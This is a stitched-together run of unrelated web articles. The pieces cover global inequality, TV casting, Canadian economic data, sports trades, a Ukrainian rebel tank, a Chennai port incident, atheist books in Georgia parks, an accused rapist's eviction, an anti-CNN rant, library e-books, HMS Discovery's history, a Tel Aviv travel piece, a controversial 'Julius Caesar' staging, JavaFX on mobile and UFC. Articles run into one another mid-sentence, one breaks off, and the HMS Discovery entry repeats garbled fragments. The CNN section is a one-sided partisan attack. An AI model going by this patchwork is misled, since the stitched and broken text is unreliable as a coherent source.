In the subject of global inequality, the best example is migration. Migration can only be perceived as a worldwide phenomenon. It is the result of globalization. It happens because, for example, people have information of living standard in rich countries and people also have the reasonably cheap transportations to get there. Plus, it takes place under the condition that the gain for migrations is huge, which means that there are huge differences in mean income between different countries.
So, we need to address migration as a global phenomenon, or at least at the regional level. For example, I think Europe is starting to address the migration between Africa and Europe as a regional issue. It is not just an issue between France and Monaco. It is an issue between EU and most of the African countries.
I often tell my students, if you move from methodological nationalism to global perspective, it is a little bit like you move from a 2D world to a 3D world. There are many things that you would never have thought about and you will only see them at the global level.
Another good example is that when we think of inequality of opportunities, we generally speak about that only in the framework of a nation-state. We say poor people, women or people of different races don’t have the same opportunities. In fact, the same argument exists at the global level. We have people with the same effort and same education level earning very different income level, simply because some were born in poor countries and some were born in rich countries.
If you think the world as one, fundamentally it is not very different from the situation that a person who is born in a rich family having a different income when compared to an identical person that is born in a poor family. Within nation-state, we don’t find it desirable nor acceptable. But in the global framework, we do.
We should ask ourselves: Should we accept this kind of inequality of opportunities? Should our concern with inequality of opportunity ends in the national border or not? I think these are very important questions. Maybe we can say: “Of course we are not concerned with global inequality of opportunities.” There are some good reasons that John Rawls has put forth. But these are the issues that we would never have thought, had we not actually looked at the world as a whole.Although Joker sidekick/love interest Harley Quinn was teased in the last season of Arrow, she's not going to become a big part of The CW series. Why? In an interview with Comic Book Resources, executive producer Andrew Kreisberg says he wanted to do more with Quinn, but apparently Warner Bros. may have future plans for the character.
There are very few things we've asked DC Comics for that we haven't gotten. That was something you asked for, and what you saw is a compromise that Geoff Johns and I came up with. To even get that much was a thrill for us. I know that they may have other plans for her, but it was certainly an Easter egg that thrilled us. But the Suicide Squad will definitely be back. Whether we see the 'deranged female killer' we saw before, we'll have to wait and see.
So what might those "other plans" be? Some believe Warner Bros. might still be interested in doing a Suicide Squad movie, and since DC's movies and television series don't exist in the same universe, there could very easily be two different versions of the antihero team.
But if that's the case, why not have Harley Quinn appear in both? The only reasons I can think of is maybe Warner Bros. and DC are also looking into doing a Suicide Squad TV series, or something else on television with Harley Quinn as one of the lead characters. What do you think are Warner Bros. and DC's plans for Harley Quinn?
Season 3 of Arrow will premiere on The CW on October 8, 2014.The data focus in the Americas turns today to Canada. The key releases include July CPI and June retail sales. The market is looking for a drop moderation in retail sales, though headline and core inflation is seen rising in July in annual terms. Also keep in mind that this is last inflation release before the BoC meets on September 7.
Price levels have remained generally upbeat given the recent decline in the exchange rate and rise in shelter costs. Specifically, the annual core inflation index has averaged 2.2% YoY over the past three months, which is a modest uptick from the longer-run trend. That said, the real concern for the BoC is not inflation but growth and activity.
"In this regard soggy retail sales could partially dilute any positive impact from a rise in price levels on CAD. The market expects headline retail sales to moderate to a 0.2% pace in June from 1.0% a month earlier. Seasonality issues could distort the headline release but on the whole Canadian activity data is limping into the September policy meeting", says Credit Agricole.
In May the monthly GDP report disappointed market expectations, contracting 0.2% from a month earlier. That was the fifth consecutive decline and raises concerns (again) about the BoC's optimistic growth outlook. At the same time oil prices nosedived at the start of Q3, increasing the downside risks for the Canadian economy.
"While it remains a close call, the risks of another BoC rate cut by yearend are on the rise. In turn, buying USD/CAD on dips is recommended and look for it to test 1.35 by yearend", added Credi Agricole.The Wolves have reached agreement with the Kings to trade former No. 2 overall pick Derrick Williams to Sacramento for defensive-minded swingman Luc Mbah a Moute, a league source confirms.
The deal could be finalized as soon as Tuesday morning, pending physicals with both players.
Mbah a Moute, a former second-round pick, will be reunited with former UCLA teammate Kevin Love.
The trade sends away a once highly regarded draft choice who clearly didn't fit with coach Rick Adelman.
WIlliams lost weight so he could better play small forward, but saw the backup role there to Corey Brewer go to Robbie Hummel and Williams will play little with Kevin Love and Dante Cunningham at his natural power forward spot.
ESPN's Marc Stein first reported the teams were in advanced discussions.Ukraine’s anti-government rebels have been getting help from Russia. Now they may be getting help from Josef Stalin.
Or rather, a JS-3 Stalin heavy tank dating back to World War II.
The Stalin tank in question is a museum piece in more way than one. It’s actually sitting on a pedestal, apparently as some kind of monument in Ukraine to the Great Patriotic War.
In this Youtube video, released by a group called Anti-Maidan, white smoke billows from the tank’s engine.
JS-3 Stalin and Ukrainian rebels. Youtube video
“Today local MacGyvers from Kostiantynivka, Donetsk People’s Republic have taken [a] World War II-era monument JS-3 heavy tank and brought it back to life,” according to video caption. “Good Soviet engineering is still able to serve today, and will serve in fight against [the] Kiev junta.”
Unfortunately for the Donetsk People’s Republic armored corps and its talented mechanics, the tank doesn’t seem to do much. In the video, it remains solidly on its pedestal as it belches white smoke, raising the question of whether the rebels plan to resort to chemical warfare by asphyxiating their enemies with carbon monoxide.
Even if the tank were able to move—and move under its own power—there’s the small matter of finding ammunition for its 70-year-old cannon.
And while anything named Stalin is not to be trifled with—the Nazis certainly didn’t enjoy the output of that big 122-millimeter gun—we must point out that the Ukrainian government tanks it will face will not be Tigers or Shermans from 1945.
The 50-ton JS-3 has a maximum of around 19 centimeters of armor, and the quality of World War II Soviet armor plate wasn’t sterling. A Ukrainian army T-80UD is somewhat lighter at about 45 tons, but it has closer to 100 centimeters of high-tech armor plate plus explosive armor to detonate anti-tank weapons.
Which also reminds us that quite a few Russian heavy tanks fell victim to Nazi Panzerfaust rockets, which suggests that the venerable JS-3 would not last long against Ukraine’s modern RPG-29 rockets.
On the other hand, the Youtube video solicits Paypal donations for Anti-Maidan. So perhaps the Stalin need only sit imposingly on its pedestal and belch hot air.
You can follow Michael Peck on Twitter at @Mipeck1 or on Facebook. Medium has an app! Sign up for a daily War is Boring email update here. Subscribe to WIB’s RSS feed here and follow the main page here.CHENNAI: Police arrested a Bangladeshi national, who apparently believed he could swim 2,000km across the Bay of Bengal to his hometown, after paramilitary guards found him in the water at the wharf at Ennore Port past midnight on Saturday.The man, identified only as Alam, may not have made it to the high seas, but medical tests revealed that he was high on drugs evidently taken before he plunged into the sea. Feeling the heat after their investigation of the May 1 twin blasts at Chennai Central led nowhere in particular, officers of different police wings rushed to the port and questioned Alam, 25. Officers involved said they were apprehensive that he could have been on reconnaissance mission for aterrorist outfit.Police found that Alam could only speak his native language and called in a translator. But that proved to be of little help as Alam made contradictory statements. An officer said Alam did not have a passport and probably sneaked across the border and into West Bengal in search of employment before making his way to Chennai.Port officials said CISF personnel took him the man out of the water and called in the city police. Police took him to the commissioner’s office before handing him over to the Minjur police in Tiruvallur district.Preliminary investigations revealed Alam arrived in Kolkata in 2013 and then went to Bangalore, hoping to get a job. He told police that he had lost his passport. Failing to find employment in Bangalore, he came to Chennai last week. “Alam failed to find a job in Chennai too and, with neither papers nor money, he said he became desperate and decided to swim home, hoping that boats would help him some of the way,” a police officer said.Investigators said they were surprised that Alam could enter Ennore Port without permission and at an unearthly hour.“He was speaking incoherently, so we took him for medical tests,” a senior police officer said. “The tests showed he was under the influence of drugs and alcohol.” Police booked Alam under Section 12 of the Foreigners Act, 1946.How to buy DigiByte (DGB) in the UK
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drawer constitutes a state establishment of religion,” he said. “In fact, any group is free to donate literature.”
Well, we can take issue with whether the fact that they were donated makes them legal… but did the Governor just say any group can donate literature that would appear in state-owned cabins?
Fantastic. American Atheists is on it:
“We appreciate the governor’s invitation to place atheist books in the cabins and look forward to providing visitors with the opportunity to learn more about atheism when they visit Georgia’s beautiful state parks,” said Managing Director Amanda Knief. … “American Atheists does not believe the State of Georgia should be placing Bibles or atheist books in state park cabins; however, if the state is going to allow such distribution, we will happily provide our materials,” said President David Silverman. Books to be donated include “Why I Am Not A Muslim,” by Ibn Warraq, “Why I Am An Atheist” by Madalyn Murray O’Hair, “god is not Great,” by Christopher Hitchens, and “The God Delusion” by Richard Dawkins.
What’s Deal going to do now? Either he has to allow the distribution of atheist books in state parks, remove all religious and non-religious books from them, or brace himself for a lawsuit.
Either way, Ed did the right thing by alerting officials to this promotion of Christianity and the Governor just stuck his foot in his mouth by trying to pretend like this wasn’t Christian privilege in action.Serial rapist suspect Marc Winner was spotted moving tanning beds from his West Loop tanning salon Tuesday. View Full Caption DNAinfo/Stephanie Lulay; Cook County Sheriff's Office
WEST LOOP — After being evicted from his storefront, accused serial rapist Marc Winner was spotted outside his Madison Street tanning salon Tuesday.
Accused of raping at least four women, Winner is free on bond, but prosecutors have called him "a real and present threat to the physical safety of any woman."
Tuesday afternoon, the 45-year-old Winner was spotted at the former salon, 1018 W. Madison St, moving tanning beds into rental trucks parked outside.
Earlier this fall, landlord Van Tomaras worked to evict Winner's now-shuttered Soleil tanning salon from the storefront. A judge granted the eviction, and Winner has to leave the building by Dec. 31.
Alleged serial rapist Marc Winner spotted in the West Loop Tuesday moving tanning beds out of salon #westloop pic.twitter.com/a8fEu0Aoyq — Stephanie Lulay (@slulay2) December 21, 2016
After spotting reporters Tuesday afternoon, Winner hid inside the former salon. At one point, he asked Tomaras to let him leave through the back of the building, but Tomaras refused. For the next few hours, Winner played a cat-and-mouse game with reporters, at times peeking out of windows, and then retreating from view in the former salon.
But with his 7 p.m. court-ordered curfew looming, Winner left the building at 6:10 p.m., running through traffic on Madison Street. He then crossed back across Madison and fled north on Morgan Street on foot.
Winner declined to talk to reporters.
Serial rape suspect Marc Winner was spotted moving tanning beds out of his West Loop tanning salon Tuesday. [DNAinfo/Stephanie Lulay]
Chris Sporina, who lives above the former West Loop tanning salon, said neighbors were "uncomfortable" with Winner's presence in the building Tuesday.
Sporina has had problems with Winner for more than a decade, he said.
"It was just very disturbing that it has taken so long. The city and everybody knew that something was going on," Sporina said. "We failed as a community to rid this cancer."
Neighbor Chris Sporina, referring to alleged rapist Marc Winner: "we failed as a community to rid this cancer" #westloop pic.twitter.com/8iN8lYludP — Stephanie Lulay (@slulay2) December 21, 2016
Tomaras said Tuesday that Winner's move-out will bring closure to the neighborhood.
"Evidently, they intend to move out before the deadline. So it's a good thing," Tomaras said.
Earlier this year, Tomaras described Winner as "forceful," "aggressive," "obnoxious" and "provocative," but said he never thought Winner would be charged with rape.
Alleged rapist Marc Winner's landlord: move out brings "closure" to the neighborhood #westloop pic.twitter.com/i4gZ8Dd8xO — Stephanie Lulay (@slulay2) December 21, 2016
Dramatic exits
Winner was released on bond in August, making a dramatic exit from the Cook County Jail as he ran through traffic, cutting between cars to avoid reporters.
Winner has had other run-ins with the media. When ABC7 investigative reporter Chuck Goudie tried to interview Winner outside the Cook County courthouse in April, Winner shoved Goudie, exclaiming: "Go f--- yourself."
At a September court hearing, Winner did his best to avoid reporters again by taking the stairs instead of riding the elevator from the first floor up to the 14th-floor courtroom.
In late May, the city's Department of Business Affairs and Consumer Protection shut down Soleil Tanning for operating without a business license. Tanning Solutions LLC has also been involuntarily dissolved by the state.
RELATED: Tanning Salon Owner Marc Winner Raped Me in 2001 But Went Free, Woman Says
Winner was being held without bail in the third case until August, when his total bond was set at $625,000, and he posted $62,500 to go free.
Winner will next appear in court on criminal charges Thursday before Cook County Judge Carol M. Howard.
To learn more about Winner's pending cases, read:
• Marc Winner Raped Me And Got Away With It, Woman Alleges On National TV
• Accused Rapist Marc Winner's Landlord Speaks Out: 'It Was A Shock'
• Marc Winner Raped Woman In His Mom's Edgewater Home, Officials Say
• City Shuts Down Accused Serial Rapist Marc Winner's Tanning Salon
• Accused Rapist Marc Winner Attacked in County Jail, Officials Say
• Accused Serial Rapist's Tanning Salon Should Be Shut Down, Alderman Says
• Suspected Serial Rapist Marc Winner 'Anxious' For Trial, Attorney Says
• Tanning Salon Owner Marc Winner Raped Me in 2001 But Went Free, Woman Says
• Salon Owner Charged In 3 Rape Cases Denied Bail, 'A Danger,' Judge Says
• Tanning Salon Owner Allegedly Raped 2nd Woman After Judge Tossed 2013 Case
For more neighborhood news, listen to DNAinfo Radio here.CNN is so out of control with their constant spewing of bile at Trump, they are to the point they can no longer control themselves. They can also no longer be bothered to tell the truth.
A story just out discusses that the U.S. Secret Service may need to rent space at Trump Tower for protecting the first family. While speculating on the potential costs CNN says “What is also unprecedented is that the building is owned by the Trump Corporation so the USSS would be renting the space from Trump’s company for protecting him and his family.”
The costs are speculative at this point. The article even admits the people they talk to don’t know the potential costs, and aren’t people who would be working on it. That does not stop CNN’s incompetent “reporters” from spitting out numbers and feigning outrage.
The BIG lie is the “unprecedented” comment.
Joe Biden charges the Secret Service for use of a freaking guest cottage on his property. Not actual commercial real estate with real value, like Trump Tower. A dinky POS guest cottage.
The biased article written with all the professionalism of a high school news paper does brush over the fact that the Secret Service has haf similar costs when other Presidents travel on vacation or have homes they travel to. They also briefly mention “VP Joe Biden has a habit of traveling back and forth between Washington and Wilmington, Delaware, several times a week, which has increased costs of his protection.”
No outrage. No stories on the cost of that. Hell these are all things with known cost, not speculation, but they don’t mention any of those costs.
Dishonest CNN.
Disgusting CNN.
Biased CNN.
Boycott CNN.
AdvertisementsIn response to a growing trend of electronic readers, the Bethlehem Area Public Library is offering free downloads of eBooks and audiobooks.
The library will officially launch the service at 10 a.m. Tuesday. Patrons will be able to download reading materials directly from the library's website. The service is free with a library card, according to a news release.
The collection includes hundreds of popular fiction and non-fiction titles, including children's and teen materials. The new service is a joint venture of Bethlehem Area Public Library, Nazareth Memorial Library, Northampton Area Public Library and Hellertown Area Library.
Dan Solove, the library's head of acquisitions, library systems and technology says in addition to the shared collection, the library will acquire an extensive assortment of eBooks, called the Advantage Collection, which will be exclusively offered to library patrons who reside in Bethlehem, Fountain Hill, Freemansburg and Bethlehem, Hanover (Northampton Co.) and Lower Saucon townships.
The process is simple: browse the library's website, check out with a valid library card and download to a computer or mobile device. Instructions are provided for users to install free software to listen to audiobooks and read eBooks. Titles can be enjoyed immediately or transferred to a variety of devices, such as iPod, Sony Reader and Nook. Some audio titles can also be burned to CD.
Titles will automatically expire at the end of the two week lending period. There are no late fees.For other ships with the same name, see HMS Discovery
History Great Britain Name: HMS Discovery Builder: Randall, Gray & Brent,[1] Rotherhithe Launched: 1789 Acquired: November 1789 In service: 7 December 1789 Reclassified: Bomb vessel in 1799
Convict hulk between 1808-1812
Army hospital ship between 1812-1815
Convict ship between 1820-1834 Honours and
awards: Copenhagen 1801[2] Fate: Broken up by 15 February 1834 General characteristics [3] Class and type: 10-gun survey ship Tons burthen: 330 65⁄ 98 bm Length: 99 ft 2 in (30.2 m) (overall)
77 ft 8 in (23.7 m) (keel) Beam: 28 ft 3 1⁄ 4 in (8.6 m) Depth of hold: 12 ft 4 in (3.8 m) Sail plan: Full-rigged ship Complement: Sloop-of-war: 94 - 100
As a bomb vessel, 67 Armament: Sloop-of-war: 10 x 4-pounder guns (short)+ 10 x ½-pounder swivel guns
Bomb vessel: 1 x 13" mortar + 1 x 10" mortar + 8 x 24-pounder carronades + 2 x 6-pounder guns
HMS Discovery was a Royal Navy ship launched in 1789 and best known as the lead ship in George Vancouver's exploration of the west coast of North America in his famous 1791-1795 expedition. She was converted to a bomb vessel in 1798 and participated in the Battle of Copenhagen. Thereafter she served as a hospital ship and later as a convict ship until 1831. She was broken up in 1834.
Early years [ edit ]
Discovery was launched in 1789 and purchased for the Navy in 1790.[1] She was named after the previous HMS Discovery, one of the ships on James Cook's third voyage to the Pacific Ocean. The earlier Discovery was the ship on which Vancouver had served as a midshipman.
Discovery was a full-rigged ship with a standard crew complement of 100 including a widow's man.[4] She had been designed and built for a voyage of exploration to the Southern whale fisheries.[5]
Discovery's first captain was Henry Roberts, with Vancouver as his first lieutenant. But when the Nootka Crisis began in 1789, Roberts and Vancouver were posted elsewhere. The ship then became a depot (hulk) for processing sailors brought in by press gangs in Chatham. Vancouver then returned and was given full command of Discovery to assist with the Nootka Sound Conventions.[citation needed]
Voyages of discovery [ edit ]
Southern hemisphere [ edit ]
On 1 April 1791, Discovery left England with HMS Chatham. Both ships stopped at Cape Town before exploring the south coast of Australia. In King George Sound, the Discovery's naturalist and surgeon Archibald Menzies collected various plant species including Banksia grandis. This was the first recording of the genus Banksia from Western Australia.[6] The two ships sailed to Hawaii where Vancouver met Kamehameha I. Chatham and Discovery then sailed on to the Northwest Pacific.
Northwest America [ edit ]
Over the course of the next four years, Vancouver surveyed the northern Pacific Ocean coast in Discovery wintering in Spanish California or Hawaii. Vancouver named many features after friends and associates, including:
Discovery's primary mission was to exert British sovereignty over this part of the Northwest Coast following the hand-over of the Spanish Fort San Miguel at Nootka Sound, although exploration in co-operation with the Spanish was seen as an important secondary objective. Exploration work was successful as relations with the Spanish went well; resupply in California was especially helpful. Vancouver and the Spanish commandant Juan Francisco de la Bodega y Quadra were on such good terms that the original name of Vancouver Island was actually Vancouver and Quadra's Island.
Discovery ran aground in early August 1792 on hidden rocks in Chatham also ran aground on rocks about two miles away. ran aground in early August 1792 on hidden rocks in Queen Charlotte Strait near Fife Sound. Within a dayalso ran aground on rocks about two miles away.
In 1793, Discovery entered a bay on the northern end of the Prince of Wales Island when a storm arose. Its shelter led to it being named Port Protection. Baker Point, the northwest point of Prince of Wales Island is named after the Discovery's 3rd Lieutenant Joseph Baker.
It is remarkable that during Discovery's five-year voyage she lost only six sailors, all in accidents; none died from scurvy or violence.
Diplomatic role [ edit ]
Discovery was meant to bring a resolution to the disposition of control over Nootka Sound. But despite four years of dispatches with their home governments, Vancouver and Quadra failed to formally conclude an agreement.
Later years [ edit ]
Discovery as a prison ship at Deptford as a prison ship at Deptford
Discovery put into St Helena in July 1795. There on 2 July 1795 Discovery and the brig Chatham captured a Dutch East Indiaman, the Makassar, which sailed in, unaware that the newly established Batavian Republic was at war with Great Britain.[Note 1] Some prize money was due to be paid in November 1824.[9][Note 2]
From there Vancouver and Discovery sailed in convoy with Sceptre, the East Indiaman General Goddard, their prizes, and a large number of other East Indiamen. They arrived at Shannon in September and Discovery sailed on to England.[11]
After four years at sea, Discovery was in great need of a refit. She was laid up until 1798 when she was refitted as a bomb vessel and recommissioned under Commander John Dick.[3]
In October 1800 Commander John Conn replaced Dick.[3] Discovery participated in the Battle of Copenhagen in April 1801.[3] In 1847 the Admiralty authorized the issuance of the Naval General Service medal with clasp "Copenhagen 1801" to all surviving claimants from the campaign.[12]
On 4 August 1801, Discovery served with Nelson when he resolved to attack an enemy flotilla off Boulogne using Bomb vessels. On the night of 15 August, the British attacked in four divisions, with Conn in charge of four boats armed with howitzers. Discovery had one man wounded in the unsuccessful British attack.[13] Discovery was then paid off in October[3] and laid up in ordinary in May 1802.[1]
Later career and fate [ edit ]
Discovery was recommissioned in May 1803 under Commander John Joyce,[1] with Commander Charles Pickford replacing him in August.[3] Pickford continued in command until 1805.[1]
In 1807 Discovery was at Sheerness, serving as a hospital ship. She continued in this role until 1815.[1]
In 1818 Discovery was converted to a convict ship at Woolwich. In 1824 she moved to Deptford, where she continued to serve as a convict ship until at least 1831.[1] She was broken up there in 1834.
Notable crew and passengers [ edit ]
Among the notable persons who served on Discovery's great voyage:
See also [ edit ]
Notes, citations, and references [ edit ]
Notes
^ Makassar, under the command of Captain Frederik Markt, had been launched in 1787 and had a burthen of 1150 tons.[8], under the command of Captain Frederik Markt, had been launched in 1787 and had a burthen of 1150 tons. ^ Chatham, was worth [10] A first-class share, such as would have accrued to Vancouver and Peter Puget (by then deceased), of, was worth £ 39 5 s 0¾ d ; a fifth-class share, i.e., the share of a seaman, was worth 6s 11½d.
Citations
References
van Eyeck van Heslinga, Dr. E.S. (1988) Van compagnie naar koopvaardij: De sheepvaartverbinding van de Baatfse Republiek met de koloniën in Azië, 1795-1803, Hollandse Historische Reeks No. 9. (Amsterdam:De Bataafsche Leeuwe). ISBN 90-6707-174-9
, Hollandse Historische Reeks No. 9. (Amsterdam:De Bataafsche Leeuwe). ISBN 90-6707-174-9 Vancouver, George (1798) A voyage of discovery to the North Pacific Ocean, and round the world: in which the coast of north-west America has been carefully examined and accurately surveyed: Undertaken by His Majesty's command, principally with a view to ascertain the existence of any navigable communication between the North Pacific and North Atlantic Oceans, and performed in the years 1790, 1791, 1792, 1793, 1794, and 1795, in the Discovery sloop of war, and armed tender Chatham, under the command of Captain George Vancouver: in three volumes. (G. G. and J. Robinson)
. (G. G. and J. Robinson) Winfield, Rif (2008). British Warships in the Age of Sail 1793–1817: Design, Construction, Careers and Fates. Seaforth. ISBN 1-86176-246-1.
This article includes data released under a Creative Commons Attribution-ShareAlike 3.0 Unported UK: England & Wales Licence, by the National Maritime Museum, as part of the Warship Histories projectHOUSTON, TX - AUGUST 28: Head coach Bill O'Brien of the Houston Texans looks on in the second quarter against the Arizona Cardinals during a preseason NFL game at NRG Stadium on August 28, 2016 in Houston, Texas. (Photo by Joe Robbins/Getty Images)
Houston (CBS HOUSTON) – The Houston Texans played the 2016 season with one of the best defenses in football as well as one of the worst ofsesnes. They have spent the current offseason trying to solidify the former and fix the latter. On the defense, the Texans promoted both Romeo Crennel and Mike Vrabel. On offense, they fired offensive coordinator George Godsey.
Now instead of replacing Godsey, the Texans are reportedly going to be relying on head coach Bill O’Brien to run the offense. SportsRadio 610’s John McClain is reporting that O’Brien will take over play-calling duties on offense for 2017 and will forego hiring a coordinator for the offense. They will also promote Wide Receiver’s coach Sean Ryan to coach the quarterbacks.
Texans won't hire an OC to replace George Godsey. OBrien will call plays. WR coach Sean Ryan will be moved to QB coach. — John McClain (@McClain_on_NFL) January 18, 2017
No word on if Ryan will still coach the wide receivers or will focus solely on the quarterbacks.
O’Brien did take over play calling for some time during the Texans 2016 season, but it is widely believed that Godsey regained control shortly after and retained it for the rest of the season.Tel Aviv’s beach is amazingly clean considering that it is right next to the city GETTY IMAGES
We touch down as night falls. It is Friday, and with darkness comes Shabbat, which means many things to many people, but to me, right now, it means a double-rate taxi fare to town.
I’m just delighted to be here. There was a moment when I thought they might not let me in: at the airport I was taken to a room, questioned and searched and my DNA swabbed. This, I later learn, is not an uncommon experience of moving through Israeli customs. You are suspicious until you are definitely not.
I was, I’ll admit, a little anxious before this trip: the political, racial and religious tension of the region is well documented, and an American tourist was fatally stabbed along the beach promenade just…NEW YORK – The Public Theater is refusing to back down after backlash over its production of “Julius Caesar” that portrays a Donald Trump-like dictator in a business suit with a long tie who gets knifed to death onstage.
Delta Air Lines and Bank of America have pulled their sponsorship of the Public’s version of the play, but in a statement Monday, the theater said that it stands “completely behind” the production. It noted that its staging has “provoked heated discussion” but that “such discussion is exactly the goal of our civically-engaged theater; this discourse is the basis of a healthy democracy.”
Other defenders included Scott M. Stringer, the New York City comptroller, who sarcastically tweeted to both Delta and Band of America: “What a mistake. Actually reading Julius Caesar might help in the future. Your copy is in the mail.”
This modern-day Caesar’s violent death at the hands of conspirators comes not long after comedian Kathy Griffin was widely condemned for posing for a photograph in which she gripped a bloodied rendering of Trump’s head.
Though the Public’s version of William Shakespeare’s classic play is unchanged from its 400-year-old original, the production portrays Caesar with a gold bathtub and a pouty Slavic wife. Trump’s name is never mentioned but backlash was swift.
I wonder how much of this “art” is funded by taxpayers? Serious question, when does “art” become political speech & does that change things? https://t.co/JfOmLLBJCn — Donald Trump Jr. (@DonaldJTrumpJr) June 11, 2017
Delta responded by saying “artistic and creative direction crossed the line on the standards of good taste.” American Express, which in the past has sponsored productions at the Public’s downtown theater, said it is not a sponsor of Shakespeare in the Park or this production of “Julius Caesar,” adding: “We do not condone this interpretation of the play.”
Bank of America claimed it was bamboozled. It said the Public chose to present the play “to provoke and offend” without the bank’s knowledge: “Had this intention been made known to us, we would have decided not to sponsor it.”
“Julius Caesar” ends its run Sunday. The comedy “A Midsummer Night’s Dream” begins in the park on July 11 under the direction of Lear deBessonet.
The National Endowment for the Arts, which Trump once proposed eliminating, said in a statement that while the Public’s Shakespeare programing has received its grants in the past, none were awarded for “Julius Caesar” or for funds supporting the New York State Council on the Arts’ grant for the Public.
Theater-lovers were quick to point out that a national tour of “Julius Caesar” in 2012 by The Acting Company featured a Caesar played by a black actor in a modern business suit who had a resemblance to then-President Barack Obama. Sponsors of the Guthrie Theater apparently had no objections — including Delta — when that show landed in Minneapolis.
The Public has long protected its role as incubator of provocative and challenging works, unafraid to mount plays that comment on current events or update Shakespearian plays to explore modern themes.
It’s had Trump in its sights before. The Public is the same institution that birthed the megahit “Hamilton” — whose cast members last year implored then-Vice President Mike Pence to support diversity — and where Meryl Streep donned self-tanner and a fat suit last summer to impersonate Trump at a gala fundraiser.
Laurence Maslon, an administrator and arts professor at New York University’s Tisch School of the Arts, said it was disingenuous for large corporations who have backed the Public for years — and enjoyed co-opting its downtown cool vibe — to sound alarmed now.
“You’ve got to know what you’re getting into,” he said, adding that the Public has “50 years of the most provocative, politically engaged work. It’s called the Public Theater for a reason.” He backed Eustis, saying “Oskar is nothing if not brave.”
The Public produced “Embedded,” Tim Robbins’ heavy-handed 2003 riff on the events leading to the war in Iraq that had actors portraying hawkish presidential advisers — named Rum-Rum, Woof, Pearly While, Cove, Dick and Gondola — wearing masks with grotesque facial expressions.
In 2006, Eustis dedicated the summer season in Central Park to three works that focused on foreign affairs — “Stuff Happens,” in which David Hare looked at the debates in Washington in the lead-up to the Iraq war, a militaristic production of “Macbeth” set in the early 20th century, and a “Mother Courage” with a new translation by Tony Kushner that had references to tax exemptions for the rich.
Its production of “Twelfth Night” in 2009 touched on the debate over marriage equality and a “Measure for Measure” in 2011 dug deep into the notion of politicians’ sexual hypocrisy.
Maslon thinks any loss of funding the Public experiences from corporate defectors will be compensated for by donations from liberal grass-roots groups and people worried about the apparent threat to artistic freedom.
“I think it will probably energize the base,” he said. “I can imagine any sense that this political regime is imposing a kind of censorship and the free market can help correct it will probably be good for the Public. It will probably be a healthy thing, too.”
We are so grateful for your generosity. Words of encouragement help plenty, and if you feel compelled: https://t.co/ZBa7P0qpTZ https://t.co/8vaWszCweu — The Public Theater (@PublicTheaterNY) June 12, 2017
Thank you for your renewed membership. We are so lucky to have you and our entire support base! https://t.co/XVdzI5gDdc — The Public Theater (@PublicTheaterNY) June 12, 2017
Ted, we are infinitely grateful. Thank you. https://t.co/DWoRQucVA7 — The Public Theater (@PublicTheaterNY) June 12, 2017
The Public isn’t the only theater project trying to address the advent of Trump. On Broadway, Jon Jon Briones, who plays the sleazy Engineer in a revival of “Miss Saigon,” makes a sarcastic reference to the Trump campaign slogan, “Make America Great Again.”
The recent off-Broadway, the play “Building the Wall,” by playwright Robert Schenkkan, imagined the country under Trump’s campaign promise to detain immigrants living in the country illegally. And filmmaker and activist Michael Moore is also bringing a one-man show taking on Trump to Broadway this summer.
MARK KENNEDYOracle has announced plans to open source the iOS and Android implementations of its JavaFX UI platform "over the next couple of months", allowing developers to use the technology to write cross-platform applications for those platforms for the first time.
Richard Bair, chief architect of the Client Java Platform at Oracle, wrote in a blog post at FX Experience,
A majority of you said you'd contribute to an iOS / Android port (either via bug reports or direct code contributions) and we're working hard to be setup so that when the code is opened you'll be able to start in on it.
The first bits and pieces for iOS should be out next week, but before the complete release other parts of the JavaFX stack also need to be made available as open source.
When Oracle announced plans to make the complete JavaFX stack available as open source software at last year's JavaOne it stated that it intended to complete the work by then end of 2012 - something which Bair said "...was a pleasant surprise to me...as much as to everybody else in the audience".
Since then some 543,055 lines of code, representing 35 different sub-projects, have been released in re-licensed form. Bair says the team expects to release the remaining code for the JavaFX windowing toolkit Glass, and the scene rasterizer and renderer Prism, along with the web rendering component, image I/O and media sources, over the next one to two months. The one remaining sticking point is the JavaFX font renderer javafx-font, which relies on proprietary technology licensed from Bitstream. To solve this, Bair states that the team are working on a plan to replace the Bitstream technology with direct calls to the native operating system.
Writing on his blog Dustin Marx, principal software engineer and architect at Raytheon Company, argues that, "Being able to develop Android and iOS applications with JavaFX will likely be a game-changer for JavaFX," a sentiment echoed by Anahata Technologies.
If these efforts are successful, software vendors around the world would be able to use one single code base to deliver applications for mobile devices running iOS, Android or Windows RT, desktop computers and laptops.
"I am looking forward to seeing what you all will do with this contribution, and hope to be running many Java apps on my phone / iPad in the near future," Bair adds.
There are still both technical and legal challenges to getting JavaFX-based applications into the Apple-curated iOS App Store however. On the legal side, the interplay between Apple's terms and Oracle's use of the GPL for licensing give some cause for concern. The open-source versions of JavaFX and the JDK are licensed as GPLv2 with the classpath exception. Apple has removed an iPhone port of a game, GNU Go, from the App Store that was licensed under GPL, in response to a complaint from the Free Software Foundation (FSF). FSF argued that the store's terms of service, in particular that a piece of software downloaded from the store can only be used on five devices, contradicted the GPLv2. Unsurprisingly, rather than changing its terms, Apple simply pulled the game.
Now Bair says "his understanding" is that the classpath exception means you should be able to combine OpenJFX and OpenJDK (minus any binary stubs released under a different license) with your application and release under your own license as a single co-bundle. There is a precedent for this - Apple has allowed an OpenJDK powered application, Cyberduck, into the Mac App Store - but Bair himself points out that he isn't a lawyer, and he isn't 100% certain.
Technically, of course, bundling in this way also means multiple copies of both the JVM and the JavaFX libraries running on the same relatively constrained device. The JVM involved is expected to be lighter-weight than the full version - "Both our ports are based on an as-yet unreleased version of JavaSE Embedded for iOS/Android," Bair states. We won't, of course, know how lightweight until it is released. And moreover Apple's restriction on virtual machines that do JIT compilation makes it likely that JavaFX applications will struggle performance-wise.
JavaFX also faces some stiff competition in the mobile space. Developers wanting to go cross platform using free and open source technologies can use HTML5 and frameworks such as PhoneGap, whilst for game developers JavaFX is some way from being a serious competitor to proprietary alternatives such as Unity and ShiVa3D. The efforts of Bair and his team are laudable, but unless Oracle commits to a more formal release for JavaFX on mobile platforms, it is hard to see it getting much traction.DANA White is in charge of a company that was sold for more than $AU5.8 billion, but money doesn’t solve everything.
The UFC president is responsible for putting the biggest names on the biggest stages to draw the biggest crowds. His job is to provide entertainment. Only by entertaining can he — and the UFC — make money.
However, sometimes the biggest names aren’t always available. Mixed martial arts is a vicious sport and injuries are commonplace, but it’s when fighters pull out of bouts because they’ve hurt themselves training — rather than during a fight night — that White gets angry.
